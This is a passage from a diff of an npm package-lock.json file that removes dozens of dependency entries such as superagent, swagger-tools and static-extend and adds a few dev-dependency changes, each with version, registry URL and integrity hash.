"sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", +- "dependencies": { +- "extend-shallow": "^3.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/split-string/node_modules/extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "dependencies": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/split-string/node_modules/is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "dependencies": { +- "is-plain-object": "^2.0.4" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/split2": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/split2/-/split2-4.1.0.tgz", +- "integrity": "sha512-VBiJxFkxiXRlUIeyMQi8s4hgvKCSjtknJv/LVYbrgALPwf5zSKmEwV9Lst25AkvMDnvxODugjdl6KZgwKM1WYQ==", +- "engines": { +- "node": ">= 10.x" +- } +- }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", +- "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" ++ "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", ++ "dev": true + }, + "node_modules/sprintf-kit": { + "version": "2.0.1", +@@ -28119,94 +22889,6 @@ + "resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz", + "integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A==" + }, +- "node_modules/static-extend": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", +- "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", +- "dependencies": { +- "define-property": "^0.2.5", +- "object-copy": "^0.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/static-extend/node_modules/define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "dependencies": { +- "is-descriptor": "^0.1.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/static-extend/node_modules/is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/static-extend/node_modules/is-accessor-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/static-extend/node_modules/is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/static-extend/node_modules/is-data-descriptor/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/static-extend/node_modules/is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "dependencies": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/static-extend/node_modules/kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", +@@ -28223,14 +22905,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/stream-buffers": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz", +- "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==", +- "engines": { +- "node": ">= 0.10.0" +- } +- }, + "node_modules/stream-connect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/stream-connect/-/stream-connect-1.0.2.tgz", +@@ -28255,14 +22929,6 @@ + "node": ">=0.12.0" + } + }, +- "node_modules/stream-counter": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/stream-counter/-/stream-counter-1.0.0.tgz", +- "integrity": "sha1-kc8lac5NxQYf6816yyY5SloRR1E=", +- "engines": { +- "node": ">=0.10.20" +- } +- }, + "node_modules/stream-events": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/stream-events/-/stream-events-1.0.5.tgz", +@@ -28276,14 +22942,6 @@ + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", + "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==" + }, +- "node_modules/stream-transform": { +- "version": "2.1.3", +- "resolved": "https://registry.npmjs.org/stream-transform/-/stream-transform-2.1.3.tgz", +- "integrity": "sha512-9GHUiM5hMiCi6Y03jD2ARC1ettBXkQBoQAe7nJsPknnI0ow10aXjTnew8QtYQmLjzn974BnmWEAJgCY6ZP1DeQ==", +- "dependencies": { +- "mixme": "^0.5.1" +- } +- }, + "node_modules/stream-via": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/stream-via/-/stream-via-1.0.4.tgz", +@@ -28323,6 +22981,12 @@ + "node": ">=0.8.0" + } + }, ++ "node_modules/strict-event-emitter-types": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/strict-event-emitter-types/-/strict-event-emitter-types-2.0.0.tgz", ++ "integrity": "sha512-Nk/brWYpD85WlOgzw5h173aci0Teyv8YdIAEtV+N88nDB0dLlazZyJMIsN6eo1/AR61l+p6CJTG1JIyFaoNEEA==", ++ "dev": true ++ }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", +@@ -28350,42 +23014,6 @@ + } + ] + }, +- "node_modules/string-to-stream": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string-to-stream/-/string-to-stream-1.1.1.tgz", +- "integrity": "sha512-QySF2+3Rwq0SdO3s7BAp4x+c3qsClpPQ6abAmb0DGViiSBAkT5kL6JT2iyzEVP+T1SmzHrQD1TwlP9QAHCc+Sw==", +- "dependencies": { +- "inherits": "^2.0.1", +- "readable-stream": "^2.1.0" +- } +- }, +- "node_modules/string-to-stream/node_modules/isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "node_modules/string-to-stream/node_modules/readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "dependencies": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "node_modules/string-to-stream/node_modules/string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "dependencies": { +- "safe-buffer": "~5.1.0" +- } +- }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", +@@ -28502,86 +23130,6 @@ + "resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.0.0.tgz", + "integrity": "sha512-OPhtyEjyyN9x3nhPsu76f52yUGXiZcgvsrFVtvTkyGRQJ0XK+GPc6ov1z+lRpbeabka+MYEQxOYRnt5nF30aMw==" + }, +- "node_modules/superagent": { +- "version": "3.8.3", +- "resolved": "https://registry.npmjs.org/superagent/-/superagent-3.8.3.tgz", +- "integrity": "sha512-GLQtLMCoEIK4eDv6OGtkOoSMt3D+oq0y3dsxMuYuDvaNUvuT8eFBuLmfR0iYYzHC1e8hpzC6ZsxbuP6DIalMFA==", +- "deprecated": "Please upgrade to v7.0.2+ of superagent. We have fixed numerous issues with streams, form-data, attach(), filesystem errors not bubbling up (ENOENT on attach()), and all tests are now passing. See the releases tab for more information at <https://github.com/visionmedia/superagent/releases>. Thanks to @shadowgate15, @spence-s, and @niftylettuce. Superagent is sponsored by Forward Email at <https://forwardemail.net>.", +- "dependencies": { +- "component-emitter": "^1.2.0", +- "cookiejar": "^2.1.0", +- "debug": "^3.1.0", +- "extend": "^3.0.0", +- "form-data": "^2.3.1", +- "formidable": "^1.2.0", +- "methods": "^1.1.1", +- "mime": "^1.4.1", +- "qs": "^6.5.1", +- "readable-stream": "^2.3.5" +- }, +- "engines": { +- "node": ">= 4.0" +- } +- }, +- "node_modules/superagent/node_modules/debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "dependencies": { +- "ms": "^2.1.1" +- } +- }, +- "node_modules/superagent/node_modules/form-data": { +- "version": "2.5.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", +- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", +- "dependencies": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.6", +- "mime-types": "^2.1.12" +- }, +- "engines": { +- "node": ">= 0.12" +- } +- }, +- "node_modules/superagent/node_modules/isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "node_modules/superagent/node_modules/mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", +- "bin": { +- "mime": "cli.js" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/superagent/node_modules/readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "dependencies": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "node_modules/superagent/node_modules/string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "dependencies": { +- "safe-buffer": "~5.1.0" +- } +- }, + "node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", +@@ -28607,288 +23155,6 @@ + "url": "https://github.com/sponsors/ljharb" + } + }, +- "node_modules/swagger-client": { +- "version": "3.18.4", +- "resolved": "https://registry.npmjs.org/swagger-client/-/swagger-client-3.18.4.tgz", +- "integrity": "sha512-Wj26oEctONq/u0uM+eSj18675YM5e2vFnx7Kr4neLeXEHKUsfceVQ/OdtrBXdrT3VbtdBbZfMTfl1JOBpix2MA==", +- "dependencies": { +- "@babel/runtime-corejs3": "^7.11.2", +- "btoa": "^1.2.1", +- "cookie": "~0.4.1", +- "cross-fetch": "^3.1.5", +- "deepmerge": "~4.2.2", +- "fast-json-patch": "^3.0.0-1", +- "form-data-encoder": "^1.4.3", +- "formdata-node": "^4.0.0", +- "is-plain-object": "^5.0.0", +- "js-yaml": "^4.1.0", +- "lodash": "^4.17.21", +- "qs": "^6.10.2", +- "traverse": "~0.6.6", +- "url": "~0.11.0" +- } +- }, +- "node_modules/swagger-client/node_modules/cookie": { +- "version": "0.4.2", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz", +- "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==", +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "node_modules/swagger-client/node_modules/is-plain-object": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", +- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/swagger-client/node_modules/punycode": { +- "version": "1.3.2", +- "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", +- "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=" +- }, +- "node_modules/swagger-client/node_modules/traverse": { +- "version": "0.6.6", +- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz", +- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc=" +- }, +- "node_modules/swagger-client/node_modules/url": { +- "version": "0.11.0", +- "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", +- "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", +- "dependencies": { +- "punycode": "1.3.2", +- "querystring": "0.2.0" +- } +- }, +- "node_modules/swagger-converter": { +- "version": "0.1.7", +- "resolved": "https://registry.npmjs.org/swagger-converter/-/swagger-converter-0.1.7.tgz", +- "integrity": "sha1-oJdRnG8e5N1n4wjZtT3cnCslf5c=", +- "dependencies": { +- "lodash.clonedeep": "^2.4.1" +- } +- }, +- "node_modules/swagger-fluent": { +- "version": "5.0.3", +- "resolved": "https://registry.npmjs.org/swagger-fluent/-/swagger-fluent-5.0.3.tgz", +- "integrity": "sha512-i43ADMtPi7dxAN75Lw50SlncMB31FgaVwXqKioR8SWs+Yon2RbiLU1J1PGMXA4N8cSt9Vz5RHzaoKjz/+iW88g==", +- "dependencies": { +- "deepmerge": "^4.2.2", +- "is-plain-object": "^3.0.0", +- "request": "^2.88.0" +- } +- }, +- "node_modules/swagger-fluent/node_modules/is-plain-object": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-3.0.1.tgz", +- "integrity": "sha512-Xnpx182SBMrr/aBik8y+GuR4U1L9FqMSojwDQwPMmxyC6bvEqly9UBCxhauBF5vNh2gwWJNX6oDV7O+OM4z34g==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/swagger-tools": { +- "version": "0.10.4", +- "resolved": "https://registry.npmjs.org/swagger-tools/-/swagger-tools-0.10.4.tgz", +- "integrity": "sha512-VQpijIi8cpB/frUZOZlVpS7U3CrdSAZBfiHu448R1njiNXUnE7heF3Svz3qFBr5SYtaPvaqWpHMbvboirCXVzA==", +- "dependencies": { +- "async": "^2.5.0", +- "body-parser": "1.18.2", +- "commander": "~2.11.0", +- "debug": "^3.1.0", +- "js-yaml": "^3.3.1", +- "json-refs": "^3.0.2", +- "lodash": "^4.17.4", +- "multer": "^1.1.0", +- "parseurl": "^1.3.0", +- "path-to-regexp": "^2.0.0", +- "qs": "^6.0.3", +- "serve-static": "^1.10.0", +- "spark-md5": "^3.0.0", +- "superagent": "^3.5.2", +- "swagger-converter": "^0.1.7", +- "traverse": "^0.6.6", +- "z-schema": "^3.15.4" +- }, +- "bin": { +- "swagger-tools": "bin/swagger-tools" +- } +- }, +- "node_modules/swagger-tools/node_modules/argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "dependencies": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "node_modules/swagger-tools/node_modules/async": { +- "version": "2.6.3", +- "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", +- "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", +- "dependencies": { +- "lodash": "^4.17.14" +- } +- }, +- "node_modules/swagger-tools/node_modules/body-parser": { +- "version": "1.18.2", +- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz", +- "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=", +- "dependencies": { +- "bytes": "3.0.0", +- "content-type": "~1.0.4", +- "debug": "2.6.9", +- "depd": "~1.1.1", +- "http-errors": "~1.6.2", +- "iconv-lite": "0.4.19", +- "on-finished": "~2.3.0", +- "qs": "6.5.1", +- "raw-body": "2.3.2", +- "type-is": "~1.6.15" +- }, +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "node_modules/swagger-tools/node_modules/body-parser/node_modules/debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "node_modules/swagger-tools/node_modules/body-parser/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, +- "node_modules/swagger-tools/node_modules/bytes": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", +- "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "node_modules/swagger-tools/node_modules/commander": { +- "version": "2.11.0", +- "resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz", +- "integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==" +- }, +- "node_modules/swagger-tools/node_modules/debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "dependencies": { +- "ms": "^2.1.1" +- } +- }, +- "node_modules/swagger-tools/node_modules/http-errors": { +- "version": "1.6.3", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", +- "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", +- "dependencies": { +- "depd": "~1.1.2", +- "inherits": "2.0.3", +- "setprototypeof": "1.1.0", +- "statuses": ">= 1.4.0 < 2" +- }, +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "node_modules/swagger-tools/node_modules/iconv-lite": { +- "version": "0.4.19", +- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz", +- "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/swagger-tools/node_modules/inherits": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", +- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" +- }, +- "node_modules/swagger-tools/node_modules/js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "dependencies": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- }, +- "bin": { +- "js-yaml": "bin/js-yaml.js" +- } +- }, +- "node_modules/swagger-tools/node_modules/path-to-regexp": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-2.4.0.tgz", +- "integrity": "sha512-G6zHoVqC6GGTQkZwF4lkuEyMbVOjoBKAEybQUypI1WTkqinCOrq2x6U2+phkJ1XsEMTy4LjtwPI7HW+NVrRR2w==" +- }, +- "node_modules/swagger-tools/node_modules/qs": { +- "version": "6.5.1", +- "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", +- "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", +- "engines": { +- "node": ">=0.6" +- } +- }, +- "node_modules/swagger-tools/node_modules/raw-body": { +- "version": "2.3.2", +- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz", +- "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=", +- "dependencies": { +- "bytes": "3.0.0", +- "http-errors": "1.6.2", +- "iconv-lite": "0.4.19", +- "unpipe": "1.0.0" +- }, +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "node_modules/swagger-tools/node_modules/raw-body/node_modules/depd": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", +- "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=", +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "node_modules/swagger-tools/node_modules/raw-body/node_modules/http-errors": { +- "version": "1.6.2", +- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", +- "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", +- "dependencies": { +- "depd": "1.1.1", +- "inherits": "2.0.3", +- "setprototypeof": "1.0.3", +- "statuses": ">= 1.3.1 < 2" +- }, +- "engines": { +- "node": ">= 0.6" +- } +- }, +- "node_modules/swagger-tools/node_modules/raw-body/node_modules/setprototypeof": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", +- "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=" +- }, +- "node_modules/swagger-tools/node_modules/setprototypeof": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", +- "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" +- }, +- "node_modules/swagger-tools/node_modules/traverse": { +- "version": "0.6.6", +- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz", +- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc=" +- }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", +@@ -29041,14 +23307,6 @@ + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, +- "node_modules/tarn": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/tarn/-/tarn-3.0.2.tgz", +- "integrity": "sha512-51LAVKUSZSVfI05vjPESNc5vwqqZpbXCsU+/+wxlOrUjk2SnFTt97v9ZgQrD4YmxYW1Px6w2KjaDitCfkvgxMQ==", +- "engines": { +- "node": ">=8.0.0" +- } +- }, + "node_modules/tdigest": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/tdigest/-/tdigest-0.1.1.tgz", +@@ -29101,34 +23359,12 @@ + "uuid": "dist/bin/uuid" + } + }, +- "node_modules/temp": { +- "version": "0.8.4", +- "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.4.tgz", +- "integrity": "sha512-s0ZZzd0BzYv5tLSptZooSjK8oj6C+c19p7Vqta9+6NPOf7r+fxq0cJe6/oN4LTC79sy5NY8ucOJNgwsKCSbfqg==", +- "dependencies": { +- "rimraf": "~2.6.2" +- }, +- "engines": { +- "node": ">=6.0.0" +- } +- }, + "node_modules/temp-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/temp-path/-/temp-path-1.0.0.tgz", + "integrity": "sha1-JLFUOXOrRCiW2a02fdnL2/r+kYs=", + "dev": true + }, +- "node_modules/temp/node_modules/rimraf": { +- "version": "2.6.3", +- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", +- "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", +- "dependencies": { +- "glob": "^7.1.3" +- }, +- "bin": { +- "rimraf": "bin.js" +- } +- }, + "node_modules/terser": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.12.1.tgz", +@@ -29264,17 +23500,6 @@ + "node": ">=0.2.6" + } + }, +- "node_modules/throng": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/throng/-/throng-4.0.0.tgz", +- "integrity": "sha1-mDxroZk7WOroWZmKpof/6I34TBc=", +- "dependencies": { +- "lodash.defaults": "^4.0.1" +- }, +- "engines": { +- "node": ">= 4.0.0" +- } +- }, + "node_modules/throttleit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz", +@@ -29350,30 +23575,12 @@ + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "devOptional": true + }, +- "node_modules/tildify": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/tildify/-/tildify-2.0.0.tgz", +- "integrity": "sha512-Cc+OraorugtXNfs50hU9KS369rFXCfgGLpfCfvlc+Ud5u6VWmUQsOAa9HbTvheQdYnrdJqqv1e5oIqXppMYnSw==", +- "engines": { +- "node": ">=8" +- } +- }, + "node_modules/timekeeper": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-2.2.0.tgz", + 